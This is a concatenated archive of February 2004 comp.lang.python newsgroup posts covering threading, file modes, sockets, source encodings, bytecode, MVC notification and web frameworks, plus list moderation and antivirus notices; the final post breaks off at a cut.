>    <http://www.cabalamat.org/weblog/current_easibox.html>

Phil,

I was unable to follow the links on www.cabalamat.org to find Easibox.  I
was able to find it via the links on Freshmeat. 

Isaac


From j-y.nief at wanadoo.fr  Sun Feb 22 03:48:06 2004
From: j-y.nief at wanadoo.fr (JY)
Date: 22 Feb 2004 00:48:06 -0800
Subject: retrieving the return code from a spawned thread.
Message-ID: <1d99e2ff.0402220048.3ba6d942@posting.google.com>

hi all,

       I would like to know how I can retrieve in my main thread (see
[A]) the
return code from a thread (see [B]) that I launched :

[B]
class example(threading.Thread):

    def __init__(self, filename):
        self.filename = filename
        threading.Thread.__init__(self)
        self.start()

    def run(self):
         ........
         rc = os.system("command example")

[A] in the main thread:
.....
thrdExample = []
thrdExample.append(example(file))
.....

once thrdExample[i] is not active anymore, how can I test its return
code "rc" if the main thread ??

thanks in advance,
JY


From user at domain.invalid  Fri Feb  6 10:16:53 2004
From: user at domain.invalid (not_yet)
Date: Fri, 06 Feb 2004 15:16:53 GMT
Subject: new newbie
In-Reply-To: <UJNUb.10836$213.5980@edtnps89>
References: <UJNUb.10836$213.5980@edtnps89>
Message-ID: <FdOUb.5$Qa3.3@edtnps89>

thanks for the help


not_yet wrote:
> new to python and linux
> 
> how do I start idle?
> 
> using Fedora / Python2.2
> 
> thanks


From michael at foord.net  Fri Feb 13 03:55:30 2004
From: michael at foord.net (Fuzzyman)
Date: 13 Feb 2004 00:55:30 -0800
Subject: Understanding CHMOD
Message-ID: <8089854e.0402130055.35ed927f@posting.google.com>

Ok.... so I might be a windoze user trying to program CGIs for a Linux
server.... but Python doesn't seem to go out of it's way to make
understanding file attributes difficult. The python manual is
appalling in this are a :-(

Anyway - I think I've finally worked out that the correct way to get
(rather than set) the mode of a file is :

from stat import *
S_IMODE(os.stat(filepath)[ST_MODE])

Obvious huh !

The result will be some bitmasked combination of the following ?

statlist = [S_ISUID, S_ISGID, S_ENFMT, S_ISVTX, S_IREAD, S_IWRITE,
S_IEXEC, S_IRWXU, S_IRUSR, S_IWUSR, S_IXUSR, S_IRWXG,
 S_IRGRP, S_IWGRP, S_IXGRP, S_IRWXO, S_IROTH, S_IWOTH, S_IXOTH]

Which mean ??????

Having obtained a result from S_IMODE(os.stat(filepath)[ST_MODE]), how
do I work out what it means ?

Thanks.

Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From ir4u4 at yahoo.com  Sun Feb 29 15:22:32 2004
From: ir4u4 at yahoo.com (Equis Uno)
Date: 29 Feb 2004 12:22:32 -0800
Subject: Best way to create a Dictionary from file of Key-Value pairs?
Message-ID: <692feddd.0402291222.6f2d619e@posting.google.com>

Hi,

Assume I'm given a 100k file full of key-value pairs:

date,value
26-Feb-04,36.47
25-Feb-04,36.43
24-Feb-04,36.30
23-Feb-04,37.00
20-Feb-04,37.00
19-Feb-04,37.87

What is the best way to copy this data into a Dictionary object?

-moi


From peter at engcorp.com  Thu Feb 19 18:56:09 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 19 Feb 2004 18:56:09 -0500
Subject: Problem Sending Data with SocketServer.ThreadingTCPServer
References: <2abe74e5.0402191501.1d80722f@posting.google.com>
Message-ID: <40354D19.5CADACEE@engcorp.com>

UrgeOverkill wrote:
> 
> I'm having a problem sending data from a socket server.  The server
> side reports that it has sent 4845 bytes but the client reports only
> 1448 bytes received.  The kicker is that this ONLY happens accross the
> internet...  I've tested this with multiple connections.  If I run the
> same server and client, connect them locally I don't have a problem
> with byte totals.  Is there a timeout that I need to set... I've
> looked at and change several SOL_SOCKET parameters (i.e. SO_SNDBUF,
> etc) but this hasn't fixed my problem... This is the last thing I need
> to fix on this and any help would be greatly appreciated...

Example code?

You don't give quite enough info for one to how familiar you are with 
socket programming.  Are you aware, for example, that you have to read
repeatedly from the socket, not just call .recv() once?  (That's a common
rookie mistake.)

What code is generating these reports about bytes sent and received?
Why do you trust the numbers?  Just because a high level call with 4845
bytes went down into the .send routine and returned doesn't mean that
many bytes actually went out the port.

Have you reduced this down to the smallest program you can make which
demonstrates the problem?  Often the problem will go away at some
point as you do that, and then you can quickly home in on the change
which was involved.

-Peter


From edreamleo at charter.net  Thu Feb 19 09:00:05 2004
From: edreamleo at charter.net (Edward K. Ream)
Date: Thu, 19 Feb 2004 08:00:05 -0600
Subject: 2.3 encoding parsing bug: calmer thoughts
References: <10349ardb7psua3@corp.supernews.com>
Message-ID: <1039gbdim972hc4@corp.supernews.com>

First, my apologies to python-dev et. al. for my irritable remarks re pep
263, http://www.python.org/peps/pep-0263.html and thanks to Michael Hudson
and Jeff Epler for their warm-hearted and generous responses to my
outbursts.  It's so much easier to think now that there is no "vendetta"
going on :-)

This morning in the shower I realized that far from being "abused" by pep
263, Leo is, or will be, the beneficiary of pep 263.  Indeed, having Python
recognize an encoding field in an #@+leo line is exactly what Leo's users
would want: it saves them from writing their own # -*- coding: <encoding
name> -*- line.

The reason Leo ran afoul of Python 2.3 is that Leo presently terminates the
encoding field with a period.  Alas, periods may appear in encoding names.
Leo's convention is just wrong, so regardless of pep 263 Leo's file formats
will have to change in order to properly handle names such as
'japanese.sjis'.

The only remaining question in my mind is this:  how likely is it for a user
to "innocently" match the regular expression "coding[:=]\s*([\w-_.]+)" by
mistake?  I see now that Leo doesn't refute the assertion that it's not very
likely.  Indeed, Leo's syntax _should_ have matched this re: the problem
arose not from any defect in pep 263 but from a very real bug in Leo.

In short, my opinion of pep 263 has undergone an almost 180 degree
turnaround.  I like it, Leo's users will benefit from it, and it seems
unlikely that other people's existing code will suffer.  Indeed, one would
typically expect an initial line containing "coding:" or "coding=" to be
followed by a valid Unicode encoding.

Two other thoughts:

1. The summaries of pep 263 such as
http://www.python.org/doc/2.3.3/whatsnew/section-encodings.html are not
accurate, that is, they do not affect what really happens.  IMO, it would
make more sense to describe the re in English (as well as give the actual
re) and to give the rationale for making the re fairly general.

2. I wonder if it makes sense to do something besides throwing a syntax
error if the encoding isn't recognized.  I suspect this topic has already
been discussed.  Can anyone summarize it for me?

Many thanks to all who have responded, publicly or in private, to me on this
subject.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: Literate Editor with Outlines
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From llothar at web.de  Sun Feb  8 23:34:23 2004
From: llothar at web.de (Lothar Scholz)
Date: 8 Feb 2004 20:34:23 -0800
Subject: Python/Parrot still alive?
References: <tq6dnRV_eM23UrjdRVn-uw@comcast.com>	<c04rqb$pbv$05$1@news.t-online.com>
	<mailman.1341.1076229832.12720.python-list@python.org>
	<c068ah$o0p$00$1@news.t-online.com>
Message-ID: <6ee58e07.0402082034.1d909f2b@posting.google.com>

"Martin v. L?wis" <martin at v.loewis.de> wrote in message news:<c068ah$o0p$00$1 at news.t-online.com>...

> Some interpreters don't have virtual machines, e.g. Tcl did not
> have one until Tcl 8 or so. OTOH, not all virtual machines are

So Ruby is an interpreter and not a virutal machine ?


From paul at prescod.net  Mon Feb  2 00:42:21 2004
From: paul at prescod.net (Paul Prescod)
Date: Sun, 01 Feb 2004 21:42:21 -0800
Subject: Interactive Shell?
In-Reply-To: <20040201215942.28384.00001169@mb-m15.aol.com>
References: <20040201215942.28384.00001169@mb-m15.aol.com>
Message-ID: <401DE33D.3000106@prescod.net>

Andrew Burton wrote:
>...
> 
> Which is the best was to use Python: from the interactive shell, as a scripting
> language, or as the Python.h library with C? Is the interactive shell there for
> anything beyond prototyping code?

I would say that the vast majority of all Python use is as a scripting 
language using the form:

python foo.py

The interactive interpreter shell has no memory from session to session 
so you lose your work all of the time.

Wrapping your Python program in C is an extra step that is typically 
only necessary when you have a C code base that you are trying to extend.

  Paul Prescod





From ivoras at __geri.cc.fer.hr  Mon Feb  9 17:57:30 2004
From: ivoras at __geri.cc.fer.hr (Ivan Voras)
Date: Mon, 09 Feb 2004 23:57:30 +0100
Subject: unicode codecs
In-Reply-To: <c09267$mvu$04$1@news.t-online.com>
References: <c08sbk$c4u$1@bagan.srce.hr>
	<g1vf201kc9sl3m82un3jhekdje1m0ovlu9@4ax.com>
	<c08vv1$f61$1@bagan.srce.hr> <c09267$mvu$04$1@news.t-online.com>
Message-ID: <c0938n$6h3$1@bagan.srce.hr>

Martin v. L?wis wrote:
> Ivan Voras wrote:
> 
>> - win32api function returns a string (8bit) with some of the 
>> characters from the upper half of code page, let's call it s1
> 
> 
> Are you absolutely certain that type(s1) is str?

Yes. Plain string.

>> - a statement such as a='x'+s1 fails with the above error.
> 
> 
> Are you absolutely certain the constant is the literal string 'x'?

Um, what else could it be? This is an example, in the real case the 
literal string is something else (but of the same format).


>> - call the unicode version of function. Returned is a unicode string 
>> (checked, it really is unicode) like u'R\xfcgenwald.txt', let's call 
>> it s2
>> - a statement a='x'+s2.encode('iso-8859-2') also fails with the exact 
>> same error.
> 
> How do you know it is the concatenation that causes the exception?

What else could cause it? It's a simple command, nothing fancy - an 
concatenation and assignment.

I've tried converting everything to use unicode and I'm getting *really* 
weird results now - it may be a bug in the win32api library.


From amk at amk.ca  Thu Feb 19 12:14:43 2004
From: amk at amk.ca (A.M. Kuchling)
Date: Thu, 19 Feb 2004 11:14:43 -0600
Subject: Netscan and Python
References: <mailman.35.1076810936.31398.python-list@python.org>
	<mailman.0.1077108246.812.python-list@python.org>
Message-ID: <UaqdnffmyIOecqndRVn-vg@speakeasy.net>

On Wed, 18 Feb 2004 04:07:32 -0800, 
	Paul Prescod <paul at prescod.net> wrote:
> The recent shift in this newsgroup to newbies with very specific 
> problems suggests to me that the market is starting to become ready for 
> specialized Python books (e.g. VB to Python, Perl to Python, Python for 
> multimedia, Python algoritms for your homework, ...).

Indeed; I think it's been ready for a while.  We have introductory books 
for programmers and for complete non-programmers, books that are concise
(consider Beazley's Essential Reference, which covers the whole language in
~20 pages) and books that are large.  I don't think there's any point in
writing an introductory or a reference book any more; it would be too
difficult to improve upon the existing titles.

--amk


From P at draigBrady.com  Wed Feb 25 11:51:46 2004
From: P at draigBrady.com (P at draigBrady.com)
Date: Wed, 25 Feb 2004 16:51:46 +0000
Subject: Fast File Input
In-Reply-To: <c1iit0$2jj$1@news01.intel.com>
References: <c1iit0$2jj$1@news01.intel.com>
Message-ID: <403CD2A2.1080701@draigBrady.com>

Scott Brady Drummonds wrote:
> Hi, everyone,
> 
> I'm a relative novice to Python and am trying to reduce the processing time
> for a very large text file that I am reading into my Python script.  I'm
> currently reading each line one at a time (readline()), stripping the
> leading and trailing whitespace (strip()) and splitting it's delimited data
> (split()).  For my large input files, this text processing is taking many
> hours.
> 
> If I were working in C, I'd consider using a lower level I/O library,
> minimizing text processing, and reducing memory redundancy.  However, I have
> no idea at all what to do to optimize this process in Python.
> 
> Can anyone offer some suggestions?

This actually improved a lot with python version 2
but is still quite slow as you can see here:
http://www.pixelbeat.org/readline/
There are a few notes within the python script there.

P?draig.



From healthed at hotmail.com  Sun Feb 22 15:34:08 2004
From: healthed at hotmail.com (weasel)
Date: Sun, 22 Feb 2004 20:34:08 GMT
Subject: Conversion code not working properly
References: <3uuh305tv9o3g5dpenoqaghtbkiuihdpua@4ax.com>
	<lw6i8vlralv3.9b0vokdurkht$.dlg@40tude.net>
	<sh1i30p0bspcjrofi5vgja3p7t50rrnept@4ax.com>
	<x4rk9o63yp9c.oyibef8f3p7y.dlg@40tude.net>
Message-ID: <sb4i30pj1tmrntg8fmsk8m8r57flj77n56@4ax.com>

Well, I know that the range command is the problem, because it just
keeps adding 1 which throws off the decimal entries. So, in removing
range, I need to take the beginning temp, and add up to the ending
temp.

The conversion seems to be working fine, even by using "float" for the
input.

On Sun, 22 Feb 2004 21:15:30 +0100, Andrei <fake at fake.net> wrote:

>weasel wrote on Sun, 22 Feb 2004 19:45:30 GMT:
>
>> It's not working. I don't think the conversion is the problem. After
>> converting, the program shows the original entry you put in
>
>You're right, I saw integer division where you were trying to convert
>temperatures and automatically assumed that was the only problem, without
>really reading the code. 
>
>> What happened to the other half? I tried using 5.0/9.0, but got the
>> same results.
>
>How did you get range() to work on floats without deprecation warnings?
> 
>> Any more ideas?
>
>Terry Reedy answered a short while ago to why a Celsius range is by
>definition shorter than a Fahrenheit range. I'm not quite sure what the
>point of the conversion is to be honest, more specifically why a range is
>returned. You can't map a celsius temperature in the Celsius range to a
>Fahrenheid temperature in the other range and the extreme values are
>incorrect due to the integer division and/or the range() used with float
>arguments. 42 F should be 5.556 C and your program returns 5.
>
>Btw, there's also a Python list for beginners if you're interested
>(python-tutor).



From bart_nessux at hotmail.com  Fri Feb 27 16:08:01 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Fri, 27 Feb 2004 16:08:01 -0500
Subject: Python as replacement for PHP?
In-Reply-To: <403fa54b@news.zianet.com>
References: <403fa54b@news.zianet.com>
Message-ID: <c1obji$8m9$1@solaris.cc.vt.edu>

Erik Johnson wrote:
> This is somewhat a NEWBIE question...
> 
>     My company maintains a small RDBS driven website. We currently generate
> HTML using PHP.  I've hacked a bit in Python, and generally think it is a
> rather cool language. I've done Perl and like it, there are a few features
> of PHP I like but overall am not too excited about it. I have found PHP's
> strtotime() function to be quite flexible and handy and we make liberal use
> of it.
>         6) All the other standard evangeslistic points about why Python is
> better than <your favorite language here>, some of which may be valid to us,
> some probably not. To those that have used PHP: what am I potentially losing
> that Python really can't replace?
> 
>     So, I'm hoping there are some people out there that actually have some
> expereience with both Python & PHP and can give me some solid, informed
> advice about PHP vs. Python, in general and particularly on the following
> points: (NOT Python evangelism please: I've already heard most of it, I've
> espoused a pretty good dose myself - frankly, I'm willing to buy most of it,
> but I've got a serious business decision to make here).

When it comes to dynamic, DB driven sites, PHP is the only way to go. 
Python is not even close to being suited for this task. PHP claims to be 
a general-purpose language, but I do not know anyone who uses it for 
anything other than dynamic Web programming.

A serious business decision? PHP would be the only winner here. You 
should not even be considering another language for this, it borders on 
stupidity. We use Python & C for backend processing, systems 
administration and other general programming tasks, but the front-end 
(the Websites) are pure PHP.




From xml-bindings-admin at gnome.org  Tue Feb 10 05:01:07 2004
From: xml-bindings-admin at gnome.org (xml-bindings-admin at gnome.org)
Date: Tue, 10 Feb 2004 05:01:07 -0500
Subject: Your message to xml-bindings awaits moderator approval
Message-ID: <20040210100107.24343.88610.Mailman@moniker.gnome.org>

Your mail to 'xml-bindings' with the subject

    qahtdx

Is being held until the list moderator can review it for approval.

The reason it is being held:

    Post by non-member to a members-only list

Either the message will get posted to the list, or you will receive
notification of the moderator's decision.



From matt.gerrans at hp.com  Mon Feb 23 19:42:05 2004
From: matt.gerrans at hp.com (Matt Gerrans)
Date: Tue, 24 Feb 2004 00:42:05 GMT
Subject: Python scripts in IIS
References: <mailman.12.1077579452.8594.python-list@python.org>
Message-ID: <x5x_b.973$oC5.896@news.cpqcorp.net>

"Robert Brewer" wrote:

> Several people know what this is about, and have collected their
> combined wisdom into a new and powerful tool called "Google". I have
> "power user" rights on this "Google" thing, and will let you click on
> this link for a modest fee: ...

This made me laugh out loud.   I hope it's not copyrighted, I'd like to add
it to my arsenel.   :-)




From theller at python.net  Thu Feb 12 10:38:58 2004
From: theller at python.net (Thomas Heller)
Date: Thu, 12 Feb 2004 16:38:58 +0100
Subject: does python support mvc  architecture
References: <f046efac.0402120627.948b7ed@posting.google.com>
	<102n468gt8klr44@news.supernews.com>
Message-ID: <7jysux2l.fsf@python.net>

"John Roth" <newsgroups at jhrothjr.com> writes:

> <ketulp_baroda at yahoo.com> wrote in message
> news:f046efac.0402120627.948b7ed at posting.google.com...
>> Hi
>> Does python support MVC architecture? Java has register & notify
>> obsever methods in javax.util . Does python has these functions. If
>> not then how to register the views with the models & how to notify the
>> views that the model has been updated??
>
> I don't know of a notifier class in the standard library,
> but it's not all that difficult to write one. This is the
> one I am currently using:
>
> -----------------------------------------------------
> # module Notify
>
> class Notify(object):
>     def __init__(self):
>         self.listenerList = []
>
>     def sendMessage(self, event):
>         for callback in self.listenerList:
>             callback(event)
>         return
>
>     def addListener(self, callback):
>         self.listenerList.append(callback)
>
>     def removeListener(self, callback):
>         self.listenerList.remove(callback)
> -----------------------------------------------------
>
> callback has to be a callable of some kind,
> a bound method is perfectly acceptable and
> that's what I use. Works great.

I can heartily recommend the dispatcher module from Patrick O'Brian.
I'm still using a hacked up version from ActiveState's Python cookbook,
but there's also a newer version on sourceforge.

Thomas


From chris.lyon at spritenote.co.uk  Sun Feb  8 00:52:55 2004
From: chris.lyon at spritenote.co.uk (Chris Lyon)
Date: 7 Feb 2004 21:52:55 -0800
Subject: ANNOUNCE: Build 200 of the pywin32 extensions (win32all)
	available
References: <c03pel$19ts$1@arachne.labyrinth.net.au>
Message-ID: <d232c5e.0402072152.1803d3fa@posting.google.com>

> All comments appreciated!
> 

You've fixed the function browser bug !

Many thanks


From wstandley at netpv.com  Wed Feb 18 12:13:39 2004
From: wstandley at netpv.com (Will)
Date: Wed, 18 Feb 2004 17:13:39 GMT
Subject: Is there Multi-media support in Python ?
References: <Ue3Yb.236855$rj7.1534201@twister.tampabay.rr.com>
	<mailman.94.1077067234.31398.python-list@python.org>
Message-ID: <73NYb.10391$jH.32000@twister.tampabay.rr.com>

Paul,

Thanks for the note.

One of the reasons we were interested in Python is that, we thought, capible
of creating software that will run on Mac, Windows or Linux systems.

I understand that Python itself is the basic language and that there are
add-ons for other stuff... like win32all, wxPython, Py2exe, NumArray,
PythonCard, etc...

I was just hoping that someone had created some code to interface directly
with the various media players out there like Quicktime and Windows Media
Player... and that we could use that to call up a player in the corner of a
window... Sorta like you can with Macromedia's Authorware or Matchware's
Mediator 7... and probably Macromedia's Director and other such progframs.

So, the answer to what system is all the popular systems.

I'll keep poking around.

Best,

Will

"Paul Prescod" <paul at prescod.net> wrote in message
news:mailman.94.1077067234.31398.python-list at python.org...
> Will wrote:
>
> > Is there multi-media support in Python? So I can...
> >
> > 1 - play video in all the standard formats... windows & Mac?
> > 2 - play flash files
> > 3 - Power Point
> > 4 - Standard graphic formats
> > 5 - Sound in all the standard formats
> > 6 - etc
>
> Python is a programming language. All it does is computations. Python
> can be embedded into environments that can do more than computations.
> e.g. you can embed it into a Windows MFC window or a Pygame application
> or a Macintosh Carbon application. In each environment you will get a
> different mix of features.
>
> If you tell us your operating system we can tell you what environment
> you might want to embed Python in with all of these capabilities. Python
> itself has a lot less to do with it than the GUI you are using Python
> within.
>
>   Paul Prescod
>
>
>
>




From paul at prescod.net  Sun Feb  8 03:41:08 2004
From: paul at prescod.net (Paul Prescod)
Date: Sun, 08 Feb 2004 00:41:08 -0800
Subject: Python/Parrot still alive?
In-Reply-To: <c04rqb$pbv$05$1@news.t-online.com>
References: <tq6dnRV_eM23UrjdRVn-uw@comcast.com>
	<c04rqb$pbv$05$1@news.t-online.com>
Message-ID: <4025F624.8030803@prescod.net>

Martin v. L?wis wrote:

> ...
> 
> If you believe that application servers require Parrot because it
> has a virtual machine, you are certainly wrong:
> - Python does have a virtual machine even without Parrot.
> - Applications servers do not fundamentally require virtual
>   machines.

It is interesting how interpreters have been rebranded as "virtual 
machines." Python people still use the word "interpreter" and that is 
probably not great from a marketing point of view.

  Paul Prescod





From NAIGIMSESRIMAIL at gims.com  Tue Feb  3 08:24:53 2004
From: NAIGIMSESRIMAIL at gims.com (GroupShield for Exchange (ESRIMAIL))
Date: Tue, 3 Feb 2004 15:24:53 +0200 
Subject: ALERT -  GroupShield ticket number OB138_1075814687_ESRIMAIL_3 wa
	s generated
Message-ID: <B06B8FEF47ACD7119E720040F428459102124203@ESRIMAIL>

Action Taken:
The message was blocked because of its subject.

To:
python-list at python.org <python-list at python.org>

From:
Louis Calzada <lcalzada1 at earthlink.net>

Sent:
410505216,29616729

Subject:
test

Attachment Details:-

Attachment Name: N/A
File: Infected.msg
Infected? No
Repaired? No
Blocked? Yes
Deleted? No
Virus Name: 



	
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From pprobert at editthisout.wisc.edu  Fri Feb 20 10:57:40 2004
From: pprobert at editthisout.wisc.edu (Paul Probert)
Date: Fri, 20 Feb 2004 09:57:40 -0600
Subject: wxPython progress bar widget
In-Reply-To: <d3be1825.0402182028.1af54cb4@posting.google.com>
References: <d3be1825.0402182028.1af54cb4@posting.google.com>
Message-ID: <c15apk$kne$1@news.doit.wisc.edu>

Jani Yusef wrote:
> Does wxPython have a progress bar widget for use. If so I can't seem
> to find anything via google.......
> My app is pythoncard/wxPython based. I'd like to have a graphical bar
> meter of some sort to show the status of a recurring lengthy file
> upload done by the app.
> Any advice or suggestions?
> Thanks!!
wxProgressDialog

Paul Probert



From jepler at unpythonic.net  Tue Feb 24 11:20:53 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Tue, 24 Feb 2004 10:20:53 -0600
Subject: Some language proposals.
In-Reply-To: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
Message-ID: <20040224162053.GB17106@unpythonic.net>

On Tue, Feb 24, 2004 at 03:53:42PM +0000, Antoon Pardon wrote:
> Now my idea would be to look at the local variables in
> a function like member variables of an object so that
> you could write
> 
> 
> def fun_1():
> 
>   a = some_value
>   b = a_value_too
> 
>   def fun_2():
> 
>     fun_1.a = new_value
>     fun_1.b = next_value

This is not compatible with existing code.  'fun_1.a = new_value'
already has a meaning (it creates or modifies an attribute on the
function object), so it can't be used to modify the locals() of a
particular invocation of fun_1.

> def fun_1():
> 
>   a = some_value
>   b = a_value_too
>       
>   def fun_2():
> 
>     from fun_1 import a, b
> 
>     a = new_value
>     b = next_value
> 
> 
> What do people think about this?
> As far as I know the proposal doesn't break existing
> code and seems in the spirit of python.

This is not in the sprit of Python.

This already has a meaning:
    from m import a
    a = 3
... it almost is the same as
    import m as _m
    a = m.a
    del _m
    a = 3
... which basically just sets a to 3 (it doesn't modify the module m)

> On a side note, what would people think about the idea of
> a from ... import ... statement usable on any object? So
> that we could do:

No, that won't do.  Consider the following Python program:
    sys = 64738
    from sys import exit
    exit()
The module name in 'import' and 'from ... import' doesn't refer to
objects in the current module's namespace, but in the namespace of
modules.

Anyway, because 'from .. import' is not magic, but just assignment,
there's no reason to prefer your proposed
    from A import a, b
to
    a, b = A.a, A.b
.. for instance, it can't make 'a = 3' change A.  It has a small
advantage that you don't need to type 'a' once on the left and once on
the right of '=', but that's about it.

Jeff



From wstandley at netpv.com  Mon Feb 16 07:54:54 2004
From: wstandley at netpv.com (Will)
Date: Mon, 16 Feb 2004 12:54:54 GMT
Subject: Where to download Mark Fletcher's ResourcePackage?
Message-ID: <y43Yb.236853$rj7.1533430@twister.tampabay.rr.com>

I just want to download a compiled version of ResourcePackage with some
doc's... so I can use it...

Here is my sad story...

Thomas Heller suggested this to me and I want to download it...

I click the link he provided... http://resourcepackage.soundforge.net/

It tells me for download to go to...
http://sourceforge.net/projects/resourcepackage/

Clicking Download there takes me to...
http://sourceforge.net/project/showfiles.php?group_id=71287&package_id=70858&release_id=193305

Where v 1.0.0 (final) is shown to have 3 source files in it but no compiled
verson... I think.

I was hoping to find a compiled version to run on the PC... is there such?

I did try clicking on 1.0.0(final) and it toom me here...
http://sourceforge.net/project/shownotes.php?release_id=193305 which has
notes about the release... except 1.0.0 (final) on that page is a link... I
tried it... got me to

http://sourceforge.net/project/showfiles.php?group_id=71287

Which had 1.0.0 (final) and prior releases listed on it, each was a link...
I tried 1.9.9 (final) again...

Got me back to the previous page...
http://sourceforge.net/project/shownotes.php?release_id=193305

So now I'm looping.

Can anybody tell me where I took the wrong fork in the road... and hopefully
it won't be when I decided to get out of bed this morning :)

Will




From robin at wiretooth.com  Sat Feb 21 11:23:11 2004
From: robin at wiretooth.com (Robin Bryce)
Date: 21 Feb 2004 08:23:11 -0800
Subject: running fastcgi on windows?
References: <6fa5f178.0402201445.59e35121@posting.google.com>
Message-ID: <f5864660.0402210823.6734ee0b@posting.google.com>

err, embarisingly, my reply seems to be atatched to the wrong thread.
see reply to post on 21st with subject Tkinter: Clipping a canvas text
item.

soz

castor at snafu.de (wolf) wrote in message news:<6fa5f178.0402201445.59e35121 at posting.google.com>...
> i have without any success tried hard to get python
> scripts running under apache on windows using fastcgi.
> it is totally unclear to me what role the adaption
> script http://alldunn.com/python/fcgi.py plays, or
> exactly what directives i have to use in which places.
> given the promises of fastcgi, its wide deployment and
> good standing, this is sort of, well, disappointing. can
> anyone substantially help here? my suspicion is that
> fcgi.py will not run under windows at all, because the
> modified version of the same script deployed with
> quixote says, on lines 380ff, "This function won't work
> on Windows at all." What can i do?
> 
> helplessly, 
> 
> _wolf


From dkuhlman at rexx.com  Wed Feb 18 17:20:37 2004
From: dkuhlman at rexx.com (Dave Kuhlman)
Date: Wed, 18 Feb 2004 22:20:37 GMT
Subject: Python Virtual Machine Reference
References: <TKOYb.2538$Po1.1716@twister.tampabay.rr.com>
Message-ID: <VyRYb.25570$Ob7.3577@newssvr27.news.prodigy.com>

Kevin Albrecht wrote:

> Fellow Pythonites,
> 
> I am trying to find a reference on the design and structure
> of the Python Virtual Machine, but I can't seem to find one
> anywhere.  In particular, I am looking for a list of all the
> instructions in the Python VM's "assembly language".

The byte codes are defined in the Python Library Reference, sect.
"18.10.1 Python Byte Code Instructions":

    http://www.python.org/doc/current/lib/bytecodes.html

The dis module lets you see what byte codes are generated for a
given piece of code.  Example:

    >>> import tmp
    >>> tmp.test
    <function test at 0x402e35a4>
    >>> import dis
    >>> dir(dis)
    ['EXTENDED_ARG', 'HAVE_ARGUMENT', '__all__', '__builtins__',
'__doc__', '__file__', '__name__', '_test', 'cmp_op', 'dis',
'disassemble', 'disassemble_string', 'disco', 'distb',
'findlabels', 'hascompare', 'hasconst', 'hasfree', 'hasjabs',
'hasjrel', 'haslocal', 'hasname', 'opmap', 'opname', 'sys',
'types']
    >>> dis.dis(tmp.test)
      5           0 LOAD_CONST               1 (2)
                  3 STORE_FAST               0 (count)

      6           6 SETUP_LOOP              22 (to 31)
                  9 LOAD_GLOBAL              1 (sys)
                 12 LOAD_ATTR                2 (path)
                 15 GET_ITER
            >>   16 FOR_ITER                11 (to 30)
                 19 STORE_FAST               1 (path)

      7          22 LOAD_FAST                1 (path)
                 25 PRINT_ITEM
                 26 PRINT_NEWLINE
                 27 JUMP_ABSOLUTE           16
            >>   30 POP_BLOCK
            >>   31 LOAD_CONST               0 (None)
                 34 RETURN_VALUE
    >>>


The interpreter itself is implemented in
Python-2.3.3/Python/ceval.c in the Python source code distribution.
Search for "Interpreter main loop" and "Main switch on opcode".  I
suppose you could use the source as a definition.

The byte code is generated in Python-2.3.3/Python/compile.c

You may also want to look at the Python Library Reference, Sect.
"19. Python compiler package":

    http://www.python.org/doc/current/lib/lib.html

But, I don't understand what the connection is between the AST
(abstract syntax tree) and the byte code interpreter's op-codes.
Maybe someone else can explain that.  Perhaps the real Python
compiler does not use the AST.

Dave

-- 
Dave Kuhlman
http://www.rexx.com/~dkuhlman
dkuhlman at rexx.com


From alan.gauld at btinternet.com  Sat Feb 21 14:19:42 2004
From: alan.gauld at btinternet.com (Alan Gauld)
Date: Sat, 21 Feb 2004 19:19:42 +0000
Subject: Strange (for a newbie) problem
References: <mailman.142.1077383087.27104.python-list@python.org>
Message-ID: <tnbf30d4ns9i0t5m2v12luk4ch90n0eksq@4ax.com>

On Sat, 21 Feb 2004 18:15:35 +0100, Angelo Secchi
<secchi at sssup.it> wrote:
> I have a python script analyses.py where a certain point I have to
> define a variable called 'code' like:
> 
> code=151
> 
> The program works fine but if I change that line in 'code=sys.argv[1]'
> using the sys module in order to give to the program that code as a
> parameter (i.e. I then run this script as "python analyses.py 151" from
> the shell) then the program returns an error complaining that a certain
> variable different from code is not defined.
> 
> What is my mistake?

Dunno. You need to give us more information. Without seeing where
the error occurs, how the other variable is both defined and
used, we cannot guess what you might be doing! Well, we could
guess but its not likely to be very profitable!

Alan G.
Author of the Learn to Program website
http://www.freenetpages.co.uk/hp/alan.gauld


From bignose-hates-spam at and-benfinney-does-too.id.au  Sun Feb 29 20:59:45 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 1 Mar 2004 12:49:45 +1050
Subject: Why Python?
References: <Xns949ECD7289AD6Todd7Nospampleasecom@68.12.19.6>
Message-ID: <slrnc457e1.p84.bignose-hates-spam@iris.polar.local>

On Mon, 01 Mar 2004 02:11:46 GMT, Todd7 wrote:
> I am looking at learning Python, but I would like to know what its 
> strengths and weaknesses are before I invest much time in learning it.

A Google search that should be helpful:

    <http://www.google.com/search?q=%22why+python%22>

-- 
 \         "A politician is an animal which can sit on a fence and yet |
  `\               keep both ears to the ground."  -- Henry L. Mencken |
_o__)                                                                  |
Ben Finney <http://bignose.squidly.org/>


From klaus_neuner82 at yahoo.de  Tue Feb  3 06:33:32 2004
From: klaus_neuner82 at yahoo.de (Klaus Neuner)
Date: 3 Feb 2004 03:33:32 -0800
Subject: assignment statements: lists vs. strings
References: <3e96ebd7.0402020750.3b0b9b82@posting.google.com>
Message-ID: <3e96ebd7.0402030333.7c303cfb@posting.google.com>

Thank you all. I have understood the point now. 

Klaus

I would like to ask (Duncan) another question, although it is off
topic: I have seen those small photographs in the header of articles
quite often. How are they produced?


From matthew.garrish at sympatico.ca  Sat Feb 28 07:56:45 2004
From: matthew.garrish at sympatico.ca (Matt Garrish)
Date: Sat, 28 Feb 2004 07:56:45 -0500
Subject: XML best practices (was: Python as replacement for PHP?)
References: <403fa54b@news.zianet.com>
	<mailman.218.1077916834.8594.python-list@python.org>
	<30260531.0402271901.1bbdda99@posting.google.com>
	<1040489b2ookafd@corp.supernews.com>
Message-ID: <ee00c.21660$253.1494407@news20.bellglobal.com>


"Cameron Laird" <claird at lairds.com> wrote in message
news:1040489b2ookafd at corp.supernews.com...
> In article <30260531.0402271901.1bbdda99 at posting.google.com>,
